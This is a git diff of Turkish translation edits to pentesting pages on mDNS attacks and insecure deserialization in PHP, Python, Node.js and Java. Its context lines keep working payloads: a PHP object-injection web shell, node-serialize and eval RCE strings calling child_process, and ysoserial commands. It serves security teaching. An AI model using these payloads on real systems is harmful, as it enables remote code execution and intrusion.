Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:43:29 +00:00
parent 06e510a09d
commit 44cf8edee0
2 changed files with 126 additions and 77 deletions

View File

@ -1,10 +1,10 @@
# 5353/UDP Multicast DNS (mDNS) ve DNS-SD
# 5353/UDP Çoklu Yayın DNS (mDNS) ve DNS-SD
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
Multicast DNS (mDNS), tekil bir DNS sunucusu olmadan yerel bir bağlantı içinde DNS benzeri ad çözümü ve hizmet keşfi sağlar. UDP/5353 ve 224.0.0.251 (IPv4) ile FF02::FB (IPv6) çoklu adreslerini kullanır. DNS Hizmet Keşfi (DNS-SD, genellikle mDNS ile birlikte kullanılır), PTR, SRV ve TXT kayıtları aracılığıyla hizmetleri listelemek ve tanımlamak için standart bir yol sağlar.
Çoklu Yayın DNS (mDNS), tekil bir DNS sunucusu olmadan yerel bir bağlantı içinde DNS benzeri ad çözümü ve hizmet keşfi sağlar. UDP/5353 ve 224.0.0.251 (IPv4) ile FF02::FB (IPv6) çoklu yayın adreslerini kullanır. DNS Hizmet Keşfi (DNS-SD, genellikle mDNS ile birlikte kullanılır), PTR, SRV ve TXT kayıtları aracılığıyla hizmetleri listelemek ve tanımlamak için standart bir yol sunar.
```
PORT STATE SERVICE
5353/udp open zeroconf
@ -12,7 +12,7 @@ PORT STATE SERVICE
Anahtar protokol detayları, saldırılar sırasında sıkça kullanacağınız:
- .local alanındaki isimler mDNS aracılığıyla çözülür.
- QU (Query Unicast) biti, çoklu yayın soruları için bile tekil yanıtlar talep edebilir.
- Uygulamalar, yerel bağlantıdan kaynaklanmayan paketleri göz ardı etmelidir; bazı yığınlar hala bunları kabul etmektedir.
- Uygulamalar, yerel bağlantıdan kaynaklanmayan paketleri göz ardı etmelidir; bazı yığınlar hala bunları kabul eder.
- Sondalama/duyurma, benzersiz ana bilgisayar/hizmet isimlerini zorlar; burada müdahale etmek, DoS/"isim işgali" koşulları yaratır.
## DNS-SD hizmet modeli
@ -59,7 +59,7 @@ sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-s
### mDNS isim sondalama müdahalesi (DoS / isim işgali)
Sondalama aşamasında, bir ana bilgisayar isim benzersizliğini kontrol eder. Sahte çelişkilerle yanıt vermek, yeni isimler seçmeye veya başarısız olmaya zorlar. Bu, hizmet kaydını ve keşfini geciktirebilir veya engelleyebilir.
Sondalama aşamasında, bir ana bilgisayar isim benzersizliğini kontrol eder. Sahte çelişkilerle yanıt vermek, yeni isimler seçmesini veya başarısız olmasını zorlar. Bu, hizmet kaydını ve keşfini geciktirebilir veya engelleyebilir.
Pholus ile örnek:
```bash
@ -100,7 +100,7 @@ Ayrıca genel LLMNR/NBNS/mDNS/WPAD sahtecilik ve kimlik bilgisi yakalama/iletim
### Son uygulama sorunları hakkında notlar (engellemeler/süreklilik için yararlıdır)
- Avahi erişilebilirlik-iddası ve D-Bus çökme hataları (2023), Linux dağıtımlarında avahi-daemon'u sonlandırabilir (örneğin, CVE-2023-38469..38473, CVE-2023-1981), hedef ana bilgisayarlarda hizmet keşfini kesintiye uğratır.
- Avahi erişilebilirlik-iddası ve D-Bus çökme hataları (2023), avahi-daemon'u Linux dağıtımlarında sonlandırabilir (örneğin, CVE-2023-38469..38473, CVE-2023-1981), hedef ana bilgisayarlarda hizmet keşfini kesintiye uğratır.
- Cisco IOS XE Kablosuz LAN Kontrolörü mDNS geçidi DoS (2024, CVE-2024-20303), komşu saldırganların yüksek CPU kullanımı sağlamasına ve AP'leri koparmasına olanak tanır. VLAN'lar arasında bir mDNS geçidi ile karşılaşırsanız, hatalı veya yüksek hızlı mDNS altında kararlılığına dikkat edin.
## Savunma dikkate alımları ve OPSEC
@ -115,7 +115,7 @@ HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD
- Daha yeni Windows 11 sürümlerinde/GPO şablonlarında, “Bilgisayar Yapılandırması > Yönetim Şablonları > Ağ > DNS İstemcisi > çoklu yayın DNS (mDNS) protokolünü yapılandır” politikasını kullanın ve Devre Dışı olarak ayarlayın.
- Linux (Avahi):
- Gerekmediğinde yayınlamayı kısıtlayın: `disable-publishing=yes` ayarlayın ve `/etc/avahi/avahi-daemon.conf` dosyasında `allow-interfaces=` / `deny-interfaces=` ile arayüzleri kısıtlayın.
- `check-response-ttl=yes` düşünün ve kesinlikle gerekli olmadıkça `enable-reflector=yes` kullanmaktan kaçının; yansıtma sırasında `reflect-filters=` izin listelerini tercih edin.
- `check-response-ttl=yes` kullanmayı düşünün ve kesinlikle gerekli olmadıkça `enable-reflector=yes` kullanmaktan kaçının; yansıtma sırasında `reflect-filters=` izin listelerini tercih edin.
- macOS: Belirli alt ağlar için Bonjour keşfi gerekmediğinde, ana bilgisayar/ağ güvenlik duvarlarında gelen mDNS'yi kısıtlayın.
- İzleme: `_services._dns-sd._udp.local` sorgularında alışılmadık artışlar veya kritik hizmetlerin SRV/TXT'lerinde ani değişiklikler için uyarı verin; bunlar sahtecilik veya hizmet taklidi göstergeleridir.

View File

@ -6,7 +6,7 @@
**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılmaktadır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.
**Deserialization** ise, tersine, serileştirmeyi karşıt bir süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir.
**Deserialization** ise, tersine, serileştirmeyi karşıt bir süreçtir. Belirli bir formatta yapılandırılmış verileri almayı ve bunları tekrar bir nesne haline getirmeyi içerir.
Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmasına** veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar oluşturmasına olanak tanır.
@ -16,9 +16,9 @@ PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yönteml
- `__sleep`: Bir nesne serileştirildiğinde çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır.
- `__wakeup`: Bir nesne deserialized edildiğinde çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a göre daha fazla kontrol sağlar.
- `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır.
- `__toString`: Bu yöntem, bir nesnenin bir string olarak muamele görmesine olanak tanır. Bir dosyayı okumak veya içindeki fonksiyon çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel temsilini etkili bir şekilde sağlar.
- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). `__wakeup`'a kıyasla deserialization süreci üzerinde daha fazla kontrol sağlar.
- `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya betik sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır.
- `__toString`: Bu yöntem, bir nesnenin bir dize olarak muamele görmesini sağlar. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini etkili bir şekilde sağlar.
```php
<?php
class test {
@ -77,7 +77,7 @@ This is a test<br />
Eğer sonuçlara bakarsanız, nesne serileştirildiğinde **`__wakeup`** ve **`__destruct`** fonksiyonlarının çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**.
> [!WARNING]
> Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()`** yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeye olanak tanır. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz.
> Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()`** yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeyi sağlar. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz.
>
> ```php
> class MyClass {
@ -94,7 +94,7 @@ Açıklamalı bir **PHP örneğini burada** okuyabilirsiniz: [https://www.notsos
### PHP Deserial + Autoload Sınıfları
Arbitrary php dosyalarını yüklemek ve daha fazlası için PHP otomatik yükleme işlevselliğini kötüye kullanabilirsiniz:
PHP otomatik yükleme işlevselliğini, keyfi php dosyalarını yüklemek ve daha fazlası için kötüye kullanabilirsiniz:
{{#ref}}
php-deserialization-+-autoload-classes.md
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
### Referans Değerleri Serileştirme
Herhangi bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek istiyorsanız:
Herhangi bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek isterseniz:
```php
<?php
class AClass {
@ -115,12 +115,12 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### PHP Nesne Enjeksiyonunu `allowed_classes` ile Önleme
### `allowed_classes` ile PHP Nesne Enjeksiyonunu Önleme
> [!INFO]
> `unserialize()` fonksiyonunun **ikinci argümanı** ( `$options` dizisi) **PHP 7.0**'da eklendi. Daha eski sürümlerde fonksiyon yalnızca serileştirilmiş dizeyi kabul eder, bu da hangi sınıfların örnekleneceğini kısıtlamayı imkansız hale getirir.
`unserialize()` serileştirilmiş akışta bulduğu **her sınıfı** örneklendirir, aksi belirtilmedikçe. PHP 7'den itibaren bu davranış [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) seçeneği ile kısıtlanabilir:
`unserialize()` serileştirilmiş akışta bulduğu **her sınıfı** örnekleyecektir, aksi belirtilmedikçe. PHP 7'den itibaren davranış [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) seçeneği ile kısıtlanabilir:
```php
// NEVER DO THIS full object instantiation
$object = unserialize($userControlledData);
@ -135,7 +135,7 @@ $object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
```
Eğer **`allowed_classes` belirtilmemişse _veya_ kod PHP < 7.0 üzerinde çalışıyorsa**, çağrı **tehlikeli** hale gelir çünkü bir saldırgan, Uzak Kod Çalıştırma (RCE) elde etmek için `__wakeup()` veya `__destruct()` gibi sihirli yöntemleri istismar eden bir yük oluşturabilir.
Eğer **`allowed_classes` belirtilmemişse _veya_ kod PHP < 7.0 üzerinde çalışıyorsa**, çağrı **tehlikeli** hale gelir çünkü bir saldırgan, Uzak Kod Yürütme (RCE) elde etmek için `__wakeup()` veya `__destruct()` gibi sihirli yöntemleri istismar eden bir yük oluşturabilir.
#### Gerçek dünya örneği: Everest Forms (WordPress) CVE-2025-52709
@ -154,13 +154,13 @@ return @unserialize(trim($data));
return $data;
}
```
**PHP ≤ 7.0** çalışan sunucularda bu ikinci dal, bir yöneticinin kötü niyetli bir form gönderimini açması durumunda klasik bir **PHP Nesne Enjeksiyonu** ile sonuçlandı. Minimal bir istismar yükü şöyle görünebilir:
**PHP ≤ 7.0** çalışan sunucularda bu ikinci dal, bir yöneticinin kötü niyetli bir form gönderimini açtığında klasik bir **PHP Object Injection**'a yol açtı. Minimal bir istismar yükü şöyle görünebilir:
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
Yönetici girişi görüntülediği anda, nesne oluşturuldu ve `SomeClass::__destruct()` çalıştırıldı, bu da rastgele kod yürütülmesine yol açtı.
**Alınacak dersler**
**Önemli Noktalar**
1. `unserialize()` çağrılırken her zaman `['allowed_classes' => false]` (veya katı bir beyaz liste) geçirin.
2. Savunma sarmallarını denetleyin genellikle eski PHP dallarını unutur.
3. Sadece **PHP ≥ 7.x**'ye yükseltmek *yeterli değildir*: seçenek hala açıkça sağlanmalıdır.
@ -175,8 +175,7 @@ Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internette*
### phar:// metadata deserialization
Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_ gibi fonksiyonlar kullanarak.\
**phar** protokolünü kullanarak bir **dosya** okurken meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\
Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_** gibi fonksiyonlar kullanarak.** **phar** protokolünü kullanarak bir **dosya** okurken meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\
Daha fazla bilgi için aşağıdaki gönderiyi okuyun:
{{#ref}}
@ -198,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
```
Önce bypass tekniğini kontrol etmeden önce, python3 çalıştırıyorsanız `print(base64.b64encode(pickle.dumps(P(),2)))` kullanarak python2 ile uyumlu bir nesne oluşturmayı deneyin.
**pickle jails**'den kaçış hakkında daha fazla bilgi için kontrol edin:
**pickle jails**'dan kaçış hakkında daha fazla bilgi için kontrol edin:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -206,7 +205,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
Aşağıdaki sayfa, **yamls** python kütüphanelerinde **güvensiz bir deserialization'ı kötüye kullanma** tekniğini sunmakta ve **Pickle, PyYAML, jsonpickle ve ruamel.yaml** için RCE deserialization yükü oluşturmak üzere kullanılabilecek bir araçla bitmektedir:
Aşağıdaki sayfa, **yamls** python kütüphanelerinde **güvensiz bir deserialization'ı istismar etme** tekniğini sunmakta ve **Pickle, PyYAML, jsonpickle ve ruamel.yaml** için RCE deserialization yükü oluşturmak üzere kullanılabilecek bir araçla bitmektedir:
{{#ref}}
python-yaml-deserialization.md
@ -222,10 +221,10 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; bu fonksiyonlar yalnızca bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** sıkça kullanılan bazı **fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\
Eğer bir deserialization'ı kötüye kullanıyorsanız, bu fonksiyonları **diğer kodları çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype kirliliğini kötüye kullanarak) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.
JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; bu fonksiyonlar yalnızca bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** sıkça kullanılan bazı **fonksiyonlar** vardır, bunlar arasında **`toString`**, **`valueOf`**, **`toJSON`** bulunmaktadır.\
Eğer bir deserialization'ı istismar ederseniz, bu fonksiyonları **diğer kodları çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype pollution'ı istismar ederek) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.
Başka bir **"sihirli" yol**, bir fonksiyonu doğrudan çağırmadan **bir async fonksiyondan (promise) dönen bir nesneyi tehlikeye atarak** çağırmaktır. Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
Bir fonksiyonu doğrudan çağırmadan **"sihirli" bir şekilde çağırmanın** bir diğer yolu, **bir async fonksiyondan dönen bir nesneyi tehlikeye atmaktır** (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -303,13 +302,13 @@ var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
Bu güvenlik açığını nasıl istismar edeceğinize dair **daha fazla bilgiye** [**buradan**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) ulaşabilirsiniz.
Bu güvenlik açığını nasıl istismar edeceğiniz hakkında [**buradan**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **daha fazla bilgi** bulabilirsiniz.
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**'ın dikkate değer bir yönü, **standart yerleşik nesnelerin** erişilemezliğidir; bunlar erişilebilir kapsamın dışındadır. Bu kısıtlama, yerleşik nesneler üzerinde yöntem çağırmaya çalışan kodların çalıştırılmasını engeller ve `console.log()` veya `require(something)` gibi komutlar kullanıldığında `"ReferenceError: console is not defined"` gibi istisnalara yol açar.
Bu sınırlamaya rağmen, belirli bir yaklaşım aracılığıyla, tüm standart yerleşik nesneler dahil olmak üzere küresel bağlama tam erişimin geri kazanılması mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir:
Bu sınırlamaya rağmen, tüm standart yerleşik nesneler de dahil olmak üzere küresel bağlama tam erişimin geri kazanılması, belirli bir yaklaşım aracılığıyla mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir:
```javascript
funcster = require("funcster")
//Serialization
@ -335,7 +334,7 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve yerleşik bir deserialization yeteneği yoktur. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmi örnek, serileştirilmiş verileri deseralize etmek için `eval`'in doğrudan kullanımını önermektedir:
**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve yerleşik bir deserialization yeteneği yoktur. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmi örnek, serileştirilmiş verileri deserialization için `eval` kullanımını önermektedir:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
@ -355,11 +354,11 @@ var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
**Daha fazla bilgi için bu kaynağı okuyun**[ **.**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
**Daha fazla bilgi için bu kaynağı okuyun**[ **.**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo kütüphanesi
Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutları nasıl çalıştırabileceğinize dair bilgiler bulabilirsiniz:
Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutlar çalıştırma hakkında bilgi bulabilirsiniz:
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
@ -372,7 +371,7 @@ Java'da, **deserialization geri çağırmaları deserialization süreci sırası
#### Beyaz Kutu
Kod tabanında potansiyel seri hale getirme zafiyetlerini tanımlamak için şunları arayın:
Kod tabanında potansiyel serileştirme zafiyetlerini belirlemek için arayın:
- `Serializable` arayüzünü uygulayan sınıflar.
- `java.io.ObjectInputStream`, `readObject`, `readUnshare` fonksiyonlarının kullanımı.
@ -380,15 +379,15 @@ Kod tabanında potansiyel seri hale getirme zafiyetlerini tanımlamak için şun
Aşağıdakilere ekstra dikkat edin:
- Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan `XMLDecoder`.
- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, çünkü seri hale getirme sorunlarına açıktır.
- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, serileştirme sorunlarına karşı hassastır.
- `readObject` metodu ile birlikte kullanılan `ObjectInputStream`.
- `readObject`, `readObjectNodData`, `readResolve` veya `readExternal` gibi yöntemlerin uygulanması.
- `ObjectInputStream.readUnshared`.
- Genel `Serializable` kullanımı.
- Genel olarak `Serializable` kullanımı.
#### Siyah Kutu
Siyah kutu testleri için, java seri hale getirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan):
Siyah kutu testleri için, java serileştirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan):
- Onaltılık desen: `AC ED 00 05`.
- Base64 deseni: `rO0`.
@ -399,13 +398,13 @@ Siyah kutu testleri için, java seri hale getirilmiş nesnelerini belirten belir
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Zayıf olup olmadığını kontrol et
### ık olup olmadığını kontrol et
Eğer **Java Deserialized bir exploit'in nasıl çalıştığını öğrenmek istiyorsanız** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız.
Eğer **Java Deserialized bir ığın nasıl çalıştığını öğrenmek istiyorsanız** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız.
#### Beyaz Kutu Testi
Bilinen zayıflıkları olan herhangi bir uygulamanın kurulu olup olmadığını kontrol edebilirsiniz.
Bilinen ıkları olan herhangi bir uygulamanın kurulu olup olmadığını kontrol edebilirsiniz.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
@ -420,7 +419,7 @@ Burp eklentisi [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) ku
[**GadgetProbe hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe, **`ObjectInputStream` deserialization**'larına odaklanmıştır.
Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilen zayıf kütüphaneleri** belirleyebilirsiniz ve **bunları istismar** edebilirsiniz.\
Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilen zayıf kütüphaneleri** belirleyebilir ve **istismar** edebilirsiniz.\
[**Java Deserialization Scanner hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner, **`ObjectInputStream`** deserialization'larına odaklanmıştır.
@ -438,7 +437,7 @@ Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız
Java deserialization'larını istismar etmek için ana araç [**ysoserial**](https://github.com/frohoff/ysoserial) ([**buradan indirin**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ayrıca, karmaşık komutlar (örneğin, borular ile) kullanmanıza olanak tanıyacak [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) kullanmayı da düşünebilirsiniz.\
Bu aracın **`ObjectInputStream`** istismarına **odaklandığını** unutmayın.\
İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü kullanmaya **başlayacağım**. Her durumda, "URLDNS" yükünün çalışmadığını ancak başka bir RCE yükünün çalıştığını unutmayın.
İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü kullanmaya **başlayacağım**. Her neyse, "URLDNS" yükünün çalışmadığını, ancak başka bir RCE yükünün çalıştığını unutmayın.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -512,7 +511,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec), Java'daki farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak için kullanılabilir.\
[**marshalsec** ](https://github.com/mbechler/marshalsec), Java'daki farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\
Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem** gerekti:
```html
<dependency>
@ -556,7 +555,7 @@ Java, çeşitli amaçlar için çok fazla serileştirme kullanır:
#### Geçici nesneler
`Serializable` arayüzünü uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi `transient` olarak işaretleyebilir. Örneğin:
`Serializable`'ı uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak uygulayabilir. Örneğin:
```java
public class myAccount implements Serializable
{
@ -565,7 +564,7 @@ private transient double margin; // declared transient
```
#### Serializable'ı Uygulaması Gereken Bir Sınıfın Serileştirilmesinden Kaçının
Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, bu nesnelerin deserializable olmalarını sağlamak için sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayın:
Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, bu nesnelerin deserializable olmalarını sağlamak için sürekli bir istisna fırlatan `final` `readObject()` yöntemi tanımlayın:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -599,7 +598,7 @@ return super.resolveClass(desc);
}
}
```
**Güvenlik Artırımı için Java Ajansı Kullanımı**, kod değişikliği mümkün olmadığında bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır:
**Güvenlik Geliştirmesi için Java Ajansı Kullanımı** kod değişikliğinin mümkün olmadığı durumlarda bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır:
```
-javaagent:name-of-agent.jar
```
@ -607,7 +606,7 @@ Dinamik olarak deserialization'ı güvence altına almanın bir yolunu sağlar,
Bir örneği kontrol edin [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Serileştirme Filtrelerinin Uygulanması**: Java 9, serileştirilmiş nesnelerin deserialization işleminden önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağlayan **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir.
**Serileştirme Filtrelerinin Uygulanması**: Java 9, **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı ve serileştirilmiş nesnelerin deserialization işleminden önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağladı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir.
Serileştirme filtrelerini kullanmak için, tüm deserialization işlemlerine uygulanan küresel bir filtre ayarlayabilir veya belirli akışlar için dinamik olarak yapılandırabilirsiniz. Örneğin:
```java
@ -651,7 +650,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Mesaj Servisi
